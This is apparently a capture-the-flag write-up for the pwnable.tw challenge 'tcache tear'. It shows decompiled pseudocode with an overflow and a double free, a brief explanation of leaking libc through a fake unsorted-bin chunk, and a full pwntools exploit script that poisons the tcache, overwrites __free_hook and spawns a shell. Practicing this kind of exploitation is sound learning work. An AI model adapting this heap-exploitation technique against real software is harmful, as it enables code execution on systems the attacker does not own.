ntype.club

tcache tear

like fastbin, but with even less security

create()
{
    printf("Size:");
    int val = my_read();  //ebp - 8;
    if(val > 0xFF) { return; }
    glob = malloc(val);
    printf("Data:");
    read_intobuf(glob, val - 0x10);  // val < 0x10 = OVERFLOW
    puts("Done");
    return;
}

info()
{
    printf("Name:");
    write(into, 0x20);
}

main()
{
    int ctr; //rbp - 0x04
    printf("Name");
    my_read(into, 0x20);
    
    ctr = 0;
    do {
        dump();
        int v = myread();
        if(v == 1) { create(); }
	//doublefree
        else if(v == 2) { if(ctr++ < 7) { free(glob); } }
        else if(v == 3) { info(); }
        else if(v == 4) { exit(); }
        else { puts("Invalid..."); }
    } while(1);
}

The program only allows 7 calls to free(), so most of the exploitation is finding a way to break into another freed bin, namely one that will leak libc. We can use double-free or the overflow in create() to corrupt the heap and get an arbitrary pointer.

Creating an unsorted bin at the global into address and freeing it leaks what we need. There is a caveat, the top chunk wilderness size + the fake chunk must point to valid memory, so an additional overwrite is needed.

Overwrite __free_hook to win (on exactly our seventh and final allowable call to free() gg devs).

from pwn import *

sh = remote('chall.pwnable.tw', 10207)
#sh = process('./tcache_tear')
pause()

def create(sh, size, content):
    sh.sendlineafter('Your choice :', b'1')
    sh.sendlineafter('Size:', str(size).encode('ascii'))
    sh.sendafter('Data:', content)
    sh.recvuntil('Done')
    return

def free(sh):
    sh.sendlineafter('Your choice :', b'2')
    sh.recvuntil('$')
    return

def leak(sh):
    sh.sendlineafter('Your choice :', b'3')
    sh.recvuntil('Name :')

    out = sh.recvuntil('$')
    return out[16:24]

#This will be the header to our fake chunk, unsorted bun size 0x430 bytes
sh.sendlineafter('Name:', p64(0) + p64(0x431))

obj = 0x00602060 + 0x10
exitgot = 0x00601fe8

#We'll use this as a lifeline later
create(sh, 0x70, b'content\n')
free(sh)

create(sh, 0x08, b'content\n')
free(sh)
free(sh)

create(sh, 0x08, p64(obj)+p64(0))
#overwrite the heap size to pass free() security check
create(sh, 0x08, b'overwrte' * 3 + p64(0x101))

#make a fake chunk adjacent to another chunk before faking the wilderness
create(sh, 0x08, b'AAAAAAAA' * 3 + p64(obj) + b'AAAAAAAA' * 128 + p64(0) + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x101))
free(sh)

libc = u64(leak(sh)) - 0x3ebca0
hook = libc + 0x3ed8e8
rce = libc + 0x4f322

print('libc ' + hex(libc))
print('hook ' + hex(hook))

# Retrieve a chunk from the original heap
create(sh, 0x70, b'repeat\n')
free(sh)
free(sh)
create(sh, 0x70, p64(hook))
create(sh, 0x70, b'blank')
create(sh, 0x70, p64(rce))

sh.sendlineafter('Your choice :', b'2')
sh.interactive()